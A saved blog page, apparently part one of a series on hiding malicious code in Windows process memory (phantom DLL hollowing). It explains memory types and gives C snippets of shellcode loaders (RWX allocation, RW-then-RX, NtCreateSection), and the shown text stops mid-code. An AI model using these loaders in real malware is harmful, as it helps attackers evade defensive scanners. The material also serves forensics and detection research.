	.blog-default-card-border-bottom-color { border-bottom-color: #FFFFFF; }
	.blog-default-card-border-bottom-color { border-bottom-color: #FFFFFF; }
  .blog-default-button-background-color { background-color: #30BDFF; }
	.blog-default-button-background-color { background-color: #30BDFF; }
</style>

    
  <style data-emotion-css="9a4xub">.css-9a4xub a .image-container .image-caption{color:rgb(141,209,202);}.css-9a4xub a .image-container .image-caption:hover{-webkit-text-decoration:underline;text-decoration:underline;}</style><style data-emotion=""></style><style wix-style="">.Title{ font:normal normal normal 89px/1.4em georgia,palatino,"book antiqua","palatino linotype",serif; } .Menu{ font:normal normal normal 16px/1.4em din-next-w01-light,din-next-w02-light,din-next-w10-light,sans-serif; } .Page-title{ font:normal normal normal 25px/1.4em georgia,palatino,"book antiqua","palatino linotype",serif; } .Heading-XL{ font:normal normal normal 60px/1.4em din-next-w01-light,din-next-w02-light,din-next-w10-light,sans-serif; } .Heading-L{ font:normal normal normal 58px/1.4em georgia,palatino,"book antiqua","palatino linotype",serif; } .Heading-M{ font:italic normal normal 22px/1.4em georgia,palatino,"book antiqua","palatino linotype",serif; } .Heading-S{ font:normal normal normal 21px/1.4em dinneuzeitgroteskltw01-_812426,sans-serif; } .Body-L{ font:normal normal normal 22px/1.4em "libre baskerville",serif; } .Body-M{ font:normal normal normal 16px/1.4em "libre baskerville",serif; } .Body-S{ font:normal normal normal 14px/1.4em georgia,palatino,"book antiqua","palatino linotype",serif; } .Body-XS{ font:normal normal normal 12px/1.4em din-next-w01-light,din-next-w02-light,din-next-w10-light,sans-serif; } }</style><link type="text/css" rel="stylesheet" href="dispatcher_data/css.css" id="wix-google-fonts"><style>@font-face {
font-family: wf_a06df987aac84453946eecb85;
src: url("https://static.wixstatic.com/ufonts/c1d8f6_a06df987aac84453946eecb8586c794d/woff/file.woff") format("woff"),
url("https://static.wixstatic.com/ufonts/c1d8f6_a06df987aac84453946eecb8586c794d/woff2/file.woff2") format("woff2"),
url("https://static.wixstatic.com/ufonts/c1d8f6_a06df987aac84453946eecb8586c794d/ttf/file.ttf") format("ttf");
}
</style><link type="text/css" rel="stylesheet" href="dispatcher_data/languages.css"><style>:focus {
    outline: none;
}

.js-focus-visible .focus-visible:focus,
.js-focus-visible .focus-visible:focus ~ .wixSdkShowFocusOnSibling
{
    box-shadow: inset 0 0 0 1px rgba(255, 255, 255, 0.9), 0 0 1px 2px #3899EC;
}
</style><script src="modal_data/focus-visible.js" id="dynamic_script_FOCUS_VISIBLE"></script></head>

  <body class="oSNla _2-zbz js-focus-visible">
    

    <div id="root"><div id="direction-provider-wrapper"><div dir="ltr"><div class="_1IR80 blog-background-color _4nOLG _3UuIw is-desktop app-desktop"><div><div></div></div><span></span><div id="content-wrapper"><div class="_28VgF _24LDA _1ciDX blog-post-page-font" data-hook="post-page"><div class="cSnEi"><div></div><div><div><div><article class="xhfOv blog-post-page-font blog-card-background-color blog-card-border-color blog-text-color undefined" style="border-width:4px" data-hook="post"><div class="_1rNui"><div class="x_VfD"><div class="_3l0uo"><ul class="_1ReRx _25WOM"><li><span class=""><div class="_33LjI blog-text-color blog-link-hover-color avatar blog-post-text-color"><span class="_2iDLv avatar-image" lng="en"><div aria-label="Author's picture" class="_1wPNJ fluid-avatar-image" style="background-image:url(https://static.wixstatic.com/media/c1d8f6_f9b6cb79835149268cb5b9d08689bd49~mv2.jpg/v1/fit/w_64,h_64,al_c,q_80/file.png)" data-hook="avatar-image"></div></span><span class="_2MJF1 user-name _19kr2" data-hook="user-name">forrestorr</span><div aria-label="Admin" data-hook="badge" class="Cu6fU"><svg xmlns="http://www.w3.org/2000/svg" width="19" viewBox="0 0 19 19" style="fill-rule:evenodd" class="blog-icon-fill"><path d="M15.3812,6.495914 L12.6789333,8.77258837 C12.6191333,8.84477644 12.5099333,8.85722265 12.4354,8.79997005 C12.4215333,8.79001308 12.4094,8.77756686 12.3998667,8.76429089 L9.78686667,6.14327115 C9.67766667,5.99225704 9.46186667,5.95491839 9.305,6.05863687 C9.26946667,6.08186981 9.23913333,6.11091099 9.21573333,6.14493065 L6.60013333,8.81075677 C6.5464,8.88626383 6.43893333,8.90534803 6.3592,8.85390366 C6.34446667,8.84394669 6.33146667,8.83233022 6.32106667,8.81905425 L3.61966667,6.50587098 C3.5018,6.36149485 3.28426667,6.33577266 3.13346667,6.44861837 C3.0494,6.51167921 3,6.60792997 3,6.70998895 L4,14 L15,14 L16,6.70169148 C16,6.51831719 15.8448667,6.36979232 15.6533333,6.36979232 C15.5476,6.36979232 15.4470667,6.41625821 15.3812,6.495914 Z"></path></svg></div></div></span></li><li><div class="_2yYN5 e8kGb blog-separator-background-color"></div></li><li><ul class="_1ReRx _2qkGq"><li><span class="post-metadata__date time-ago" data-hook="time-ago">Oct 2</span></li><li><div class="_2yYN5 e8kGb blog-separator-background-color"></div></li><li><span class="post-metadata__readTime" data-hook="time-to-read">14 min read</span></li></ul></li></ul><div class="_3PIUP _3U7c8"><div class="_1GLhU _4ITTQ more-button"><button type="button" class="_1WK2X" tabindex="0" aria-pressed="false" aria-label="More actions" id="more-button-5d9522f75935600017eb4031" data-hook="more-button"><svg xmlns="http://www.w3.org/2000/svg" width="19" viewBox="0 0 19 19" role="img" class="blog-icon-fill blog-hover-container-element-fill"><path d="M2.44398805,5.99973295 C1.62345525,5.9690612 0.980075653,5.28418875 1.00047182,4.46312144 C1.02086799,3.64205413 1.69745853,2.98998831 2.51850166,3.0001164 C3.33954478,3.01024449 3.99985313,3.67880182 4,4.50012255 C3.98424812,5.34399206 3.28763905,6.0153508 2.44398805,5.99973295 L2.44398805,5.99973295 Z M2.44398805,10.9997329 C1.62345525,10.9690612 0.980075653,10.2841888 1.00047182,9.46312144 C1.02086799,8.64205413 1.69745853,7.98998831 2.51850166,8.0001164 C3.33954478,8.01024449 3.99985313,8.67880182 4,9.50012255 C3.98424812,10.3439921 3.28763905,11.0153508 2.44398805,10.9997329 L2.44398805,10.9997329 Z M2.44398805,15.9997329 C1.62345525,15.9690612 0.980075653,15.2841888 1.00047182,14.4631214 C1.02086799,13.6420541 1.69745853,12.9899883 2.51850166,13.0001164 C3.33954478,13.0102445 3.99985313,13.6788018 4,14.5001225 C3.98424812,15.3439921 3.28763905,16.0153508 2.44398805,15.9997329 L2.44398805,15.9997329 Z"></path></svg></button></div></div></div><div tabindex="-1" class="_zLbN _1szKo" data-hook="post-title"><h1 class="_2NtDR _1X8-e blog-post-title-font blog-post-title-color blog-text-color post-title blog-hover-container-element-color _1UFX- blog-post-page-title-font" data-hook="post-title"><span class="post-title__text blog-post-title-font blog-post-title-color"><span class="blog-post-title-font blog-post-title-color">Masking Malicious Memory Artifacts – Part I: Phantom DLL Hollowing</span></span></h1></div></div><p class="_2dmGl x_VfD"><span>Updated: <span class="time-ago" data-hook="time-ago">Oct 8</span></span></p><div class="_3uWjK" data-hook="post-description"><article class="blog-post-page-font"><div class="post-content__body"><div class="_1Yrpz"><div class="kcuBq _2MPZ5 blog-post-page-font _2WHMg uatYj _3I11d" dir="ltr"><div class="kaqlz _312QD blog-post-page-font css-9a4xub"><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e">&nbsp;</p><div class="q2uC4 _3LksV"><div class="_2CvYQ _1wj_L _1vQBB _1vQBB _3Q43X _2mbaq _2mbaq"><div data-hook="imageViewer" class="_1Lhwj image-container"><div class="xdJBZ"><img class="_1Fjtc _2E02D" src="malicious-memory-artifacts-part-i-dll-hollowing_data/file.jpg" style="opacity: 0;"><img data-pin-url="https://www.forrest-orr.net/post/malicious-memory-artifacts-part-i-dll-hollowing" data-pin-media="https://static.wixstatic.com/media/c1d8f6_eecf5699090e4b4096fefc5fa49a2503~mv2.jpg/v1/fit/w_761,h_900,al_c,q_80/file.png" class="_1Fjtc _2lDdg" src="malicious-memory-artifacts-part-i-dll-hollowing_data/c1d8f6_eecf5699090e4b4096fefc5fa49a2503mv2.webp" style="opacity: 1;"></div><div class=""></div><div class=""></div></div></div></div><h3 class="_3tkn1 _208Ie blog-post-header-three-font blog-post-header-three-color _2QAo- _25MYV _3ZX8L _1dH_e"><strong>Introduction</strong></h3><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e">I've written this article with the intention of improving the skill of the reader as relating to the topic of memory stealth when designing malware. First by detailing a technique I term DLL hollowing which has not yet gained widespread recognition among attackers, and second by introducing the reader to one of my own variations of this technique which I call phantom DLL hollowing (the PoC for which can be found on <a href="https://github.com/forrest-orr/phantom-dll-hollower-poc" target="_blank" rel="noopener" class="_2qJYG blog-link-hashtag-color _2IYtJ"><u class="sDZYg">Github</u></a>).</p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e">&nbsp;</p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e">This will be the first post in a series on malware forensics and bypassing defensive scanners. It was written with the assumption that the reader understands the basics of Windows internals and malware design. </p><h3 class="_3tkn1 _208Ie blog-post-header-three-font blog-post-header-three-color _2QAo- _25MYV _3ZX8L _1dH_e"></h3><h3 class="_3tkn1 _208Ie blog-post-header-three-font blog-post-header-three-color _2QAo- _25MYV _3ZX8L _1dH_e"><strong>Legitimate memory allocation</strong></h3><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e">In order to understand how defenders are able to pick up on malicious memory artifacts with minimal false positives using point-in-time memory scanners such as <a href="https://href.li/?https://gist.githubusercontent.com/jaredcatkinson/23905d34537ce4b5b1818c3e6405c1d2/raw/104f630cc1dda91d4cb81cf32ef0d67ccd3e0735/Get-InjectedThread.ps1" target="_top" rel="noopener" class="_2qJYG blog-link-hashtag-color _2IYtJ"><u class="sDZYg">Get-InjectedThread</u></a> and <a href="https://href.li/?https://github.com/volatilityfoundation/volatility/blob/master/volatility/plugins/malware/malfind.py" target="_top" rel="noopener" class="_2qJYG blog-link-hashtag-color _2IYtJ"><u class="sDZYg">malfind</u></a> it is essential for one to understand what constitutes “normal” memory allocation and how malicious allocation deviates from this norm. For our purposes, typical process memory can be broken up into 3 different categories:</p><ul class="_2PG9L _3h-md"><li class="_1BJwx _208Ie _1dH_e _1e3Rk _2j9wS _2QAo- _25MYV _3ZX8L _1dH_e"><p class="_208Ie">Private memory – not to be confused with memory that is un-shareable with other processes. All memory allocated via <a href="https://href.li/?https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/content/ntifs/nf-ntifs-ntallocatevirtualmemory" target="_top" rel="noopener" class="_2qJYG blog-link-hashtag-color _2IYtJ"><u class="sDZYg">NTDLL.DLL!NtAllocateVirtualMemory</u></a> falls into this category (this includes heap and stack memory).</p></li><li class="_1BJwx _208Ie _1dH_e _1e3Rk _2j9wS _2QAo- _25MYV _3ZX8L _1dH_e"><p class="_208Ie">Mapped memory – mapped views of sections which may or may not be created from files on disk. This does not include PE files mapped from sections created with the <strong><em>SEC_IMAGE</em></strong> flag.</p></li><li class="_1BJwx _208Ie _1dH_e _1e3Rk _2j9wS _2QAo- _25MYV _3ZX8L _1dH_e"><p class="_208Ie">Image memory – mapped views of sections created with the <strong><em>SEC_IMAGE</em></strong> flag from PE files on disk. This is distinct from mapped memory. Although image memory is technically a mapped view of a file on disk just as mapped memory may be, they are distinctively different categories of memory.</p></li></ul><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e">These categories directly correspond to the <strong>Type</strong> field in the <a href="https://href.li/?https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-memory_basic_information" target="_top" rel="noopener" class="_2qJYG blog-link-hashtag-color _2IYtJ"><u class="sDZYg">MEMORY_BASIC_INFORMATION </u></a>structure. This structure is strictly a usermode concept, and is not stored independently but rather is populated using the kernel mode VAD, PTE and section objects associated with the specified process. On a deeper level the key difference between private and shared (mapped/image) memory is that shared memory is derived from section objects, a construct specifically designed to allow memory to be shared between processes. With this being said, the term “private memory” can be a confusing terminology in that it implies all sections are shared between processes, which is not the case. Sections and their related mapped memory may also be private although they will not technically be “private memory,” as this term is typically used to refer to all memory which is <strong><em>never</em></strong> shared (not derived from a section). The distinction between mapped and image memory stems from the <strong><em>control area</em></strong> of their foundational section object.</p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e">&nbsp;</p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e">In order to give the clearest possible picture of what constitutes legitimate memory allocation I wrote a memory scanner (the PoC for which can be found on <a href="https://github.com/forrest-orr/phantom-dll-hollower-poc/tree/master/MemSweep" target="_blank" rel="noopener" class="_2qJYG blog-link-hashtag-color _2IYtJ"><u class="sDZYg">Github</u></a>) which uses the characteristics of the <a href="https://www.google.com/search?client=firefox-b-1-d&amp;q=MEMORY_BASIC_INFORMATION" target="_blank" rel="noopener" class="_2qJYG blog-link-hashtag-color _2IYtJ"><u class="sDZYg">MEMORY_BASIC_INFORMATION</u></a> structure returned by <a href="https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualquery" target="_blank" rel="noopener" class="_2qJYG blog-link-hashtag-color _2IYtJ"><u class="sDZYg">KERNEL32.DLL!VirtualQuery</u></a> to statistically calculate the most common permission attributes of each of the three aforementioned memory types across all accessible processes. In the screenshot below I've executed this scanner on an unadulterated Windows 8 VM.</p><div class="q2uC4 _3LksV"><div class="_2CvYQ c-Mgr _1bhjj _1bhjj _1hD8w"><div data-hook="imageViewer" class="_1Lhwj image-container"><div class="xdJBZ"><img class="_1Fjtc _2E02D" src="malicious-memory-artifacts-part-i-dll-hollowing_data/file_007.png" style="opacity: 0;"><img data-pin-url="https://www.forrest-orr.net/post/malicious-memory-artifacts-part-i-dll-hollowing" data-pin-media="https://static.wixstatic.com/media/c1d8f6_87b1fd5292a243388888e0e2d604baf7~mv2.png/v1/fit/w_677,h_343,al_c,q_80/file.png" class="_1Fjtc _2lDdg" src="malicious-memory-artifacts-part-i-dll-hollowing_data/c1d8f6_87b1fd5292a243388888e0e2d604baf7mv2.webp" style="opacity: 1;"></div><div class=""></div><div class=""></div><div class="_3ULLf image-caption" data-hook="imageViewerCaption">Figure 1 - Memory attribute statistics on a Windows 8 VM</div></div></div></div><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e">Understanding these statistics is not difficult. The majority of private memory is <em>+RW</em>, consistent with its usage in stack and heap allocation. Mapped memory is largely readonly, an aspect which is also intuitive considering that the primary usage of such memory is to map existing <em><strong>.db</strong></em>, <em><strong>.mui</strong></em> and <em><strong>.dat</strong></em> files from disk into memory for the application to read. Most notably from the perspective of a malware writer is that executable memory is almost exclusively the domain of image mappings. In particular <em>+RX</em> regions (as opposed to <em>+RWX</em>) which correspond to the .text sections of DLL modules loaded into active processes.</p><div class="q2uC4 _3LksV"><div class="_2CvYQ c-Mgr _1bhjj _1bhjj _1hD8w"><div data-hook="imageViewer" class="_1Lhwj image-container"><div class="xdJBZ"><img class="_1Fjtc _2E02D" src="malicious-memory-artifacts-part-i-dll-hollowing_data/file_008.png" style="opacity: 0;"><img data-pin-url="https://www.forrest-orr.net/post/malicious-memory-artifacts-part-i-dll-hollowing" data-pin-media="https://static.wixstatic.com/media/c1d8f6_c98d89c231ab4e018f37947922693f82~mv2.png/v1/fit/w_739,h_271,al_c,q_80/file.png" class="_1Fjtc _2lDdg" src="malicious-memory-artifacts-part-i-dll-hollowing_data/c1d8f6_c98d89c231ab4e018f37947922693f82mv2.webp" style="opacity: 1;"></div><div class=""></div><div class=""></div><div class="_3ULLf image-caption" data-hook="imageViewerCaption">Figure 2 - x64dbg enumeration of Windows Explorer image memory</div></div></div></div><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e">In <strong><em>Figure 2</em></strong>, taken from the memory map of an explorer.exe process, image memory is shown split into multiple separate regions. Those corresponding to the PE header and subsequent sections, along with a predictable set of permissions (<em>+RX</em> for <strong><em>.text</em></strong>, <em>+RW</em> for <strong><em>.data</em></strong>, <em>+R</em> for <strong><em>.rsrc</em></strong> and so forth). The <strong>Info</strong> field is actually an abstraction of <a href="https://x64dbg.com/#start" target="_blank" rel="noopener" class="_2qJYG blog-link-hashtag-color _2IYtJ"><u class="sDZYg">x64dbg</u></a> and not a characteristic of the memory itself: <a href="https://x64dbg.com/#start" target="_blank" rel="noopener" class="_2qJYG blog-link-hashtag-color _2IYtJ"><u class="sDZYg">x64dbg</u></a> has walked the PEB loaded module list searching for an entry with a base address that matches the region base, and then set the <strong>Info</strong> for its PE headers to the module name, and each subsequent region within the map has had its <strong>Info</strong> set to its corresponding <em>IMAGE_SECTION_HEADER.Name</em>, as determined by calculating which regions correspond to each mapped image base + <em>IMAGE_SECTION_HEADER.VirtualAddress</em>.&nbsp;</p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e">&nbsp;</p><h3 class="_3tkn1 _208Ie blog-post-header-three-font blog-post-header-three-color _2QAo- _25MYV _3ZX8L _1dH_e"><strong>Classic malware memory allocation</strong></h3><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e">Malware writers have a limited set of tools in their arsenal to allocate executable memory for their code. This operation is however essential to process injection, process hollowing and packers/crypters. In brief, the classic technique for any form of malicious code allocation involved using <a href="https://href.li/?https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/content/ntifs/nf-ntifs-ntallocatevirtualmemory" target="_top" rel="noopener" class="_2qJYG blog-link-hashtag-color _2IYtJ"><u class="sDZYg">NTDLL.DLL!NtAllocateVirtualMemory</u></a> to allocate a block of <em>+RWX</em> permission memory and then writing either a shellcode or full PE into it, depending on the genre of attack.</p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e">&nbsp;</p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><em><span style="color:#92908d">uint8_t* pShellcodeMemory = (uint8_t*)VirtualAlloc(</span></em></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><em><span style="color:#92908d">    nullptr,</span></em></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><em><span style="color:#92908d">    dwShellcodeSize,</span></em></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><em><span style="color:#92908d">    MEM_COMMIT|MEM_RESERVE,</span></em></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><em><span style="color:#92908d">    PAGE_EXECUTE_READWRITE);</span></em></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e">&nbsp;</p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><em><span style="color:#92908d">memcpy(pShellcodeMemory, Shellcode, dwShellcodeSize);</span></em></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e">&nbsp;</p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><em><span style="color:#92908d">CreateThread(</span></em></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><em><span style="color:#92908d">    nullptr,</span></em></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><em><span style="color:#92908d">    0,</span></em></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><em><span style="color:#92908d">    (LPTHREAD_START_ROUTINE)pShellcodeMemory,</span></em></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><em><span style="color:#92908d">    nullptr,</span></em></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><em><span style="color:#92908d">    0,</span></em></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><em><span style="color:#92908d">    nullptr);</span></em></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e">
Later this technique evolved as both attackers and defenders increased in sophistication, leading malware writers to use a combination of <a href="https://href.li/?https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/content/ntifs/nf-ntifs-ntallocatevirtualmemory" target="_top" rel="noopener" class="_2qJYG blog-link-hashtag-color _2IYtJ"><u class="sDZYg">NTDLL.DLL!NtAllocateVirtualMemory</u></a> with <em>+RW</em> permissions and <a href="https://href.li/?https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FMemory%20Management%2FVirtual%20Memory%2FNtProtectVirtualMemory.html" target="_top" rel="noopener" class="_2qJYG blog-link-hashtag-color _2IYtJ"><u class="sDZYg">NTDLL.DLL!NtProtectVirtualMemory</u></a> after the malicious code had been written to the region to set it to +RX before execution. In the case of process hollowing using a full PE rather than a shellcode, attackers begun correctly modifying the permissions of <em>+RW</em> memory they allocated for the PE to reflect the permission characteristics of the PE on a per-section basis. The benefit of this was twofold: no<em> +RWX</em> memory was allocated (which is suspicious in of itself) and the VAD entry for the malicious region would still read as <em>+RW</em> even after the permissions had been modified, further thwarting memory forensics.</p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e">&nbsp;</p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>uint8_t* pShellcodeMemory = (uint8_t*)VirtualAlloc(</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>    nullptr,</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>    dwShellcodeSize,</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>    MEM_COMMIT|MEM_RESERVE,</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>    PAGE_READWRITE);</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e">&nbsp;</p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>memcpy(pShellcodeMemory, Shellcode, dwShellcodeSize);</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e">&nbsp;</p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>VirtualProtect(</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>    pShellcodeMemory,</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>    dwShellcodeSize,</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>    PAGE_EXECUTE_READ,</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>    (PDWORD)&amp;dwOldProtect);</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e">&nbsp;</p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>CreateThread(</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>    nullptr,</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>    0,</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>    (LPTHREAD_START_ROUTINE)pShellcodeMemory,</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>    nullptr,</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>    0,</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>    nullptr);</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e">&nbsp;</p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e">More recently, attackers have transitioned to an approach of utilizing sections for their malicious code execution. This is achieved by first creating a section from the page file which will hold the malicious code. Next the section is mapped to the local process (and optionally a remote one as well) and directly modified. Changes to the local view of the section will also cause remote views to be modified as well, thus bypassing the need for APIs such as <a href="https://href.li/?https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory" target="_top" rel="noopener" class="_2qJYG blog-link-hashtag-color _2IYtJ"><u class="sDZYg">KERNEL32.DLL!WriteProcessMemory</u></a> to write malicious code into remote process address space.</p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e">&nbsp;</p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>LARGE_INTEGER SectionMaxSize = { 0,0 };</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>NTSTATUS NtStatus</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e">&nbsp;</p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>SectionMaxSize.LowPart = dwShellcodeSize;</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e">&nbsp;</p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>NtStatus = NtCreateSection(</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>    &amp;hSection,</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>    SECTION_MAP_EXECUTE | SECTION_MAP_READ | SECTION_MAP_WRITE,</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>    NULL, &amp;SectionMaxSize,</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>    PAGE_EXECUTE_READWRITE,</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>    SEC_COMMIT,</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>    NULL);</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e">&nbsp;</p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>if (NT_SUCCESS(NtStatus)) {</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>    NtStatus = 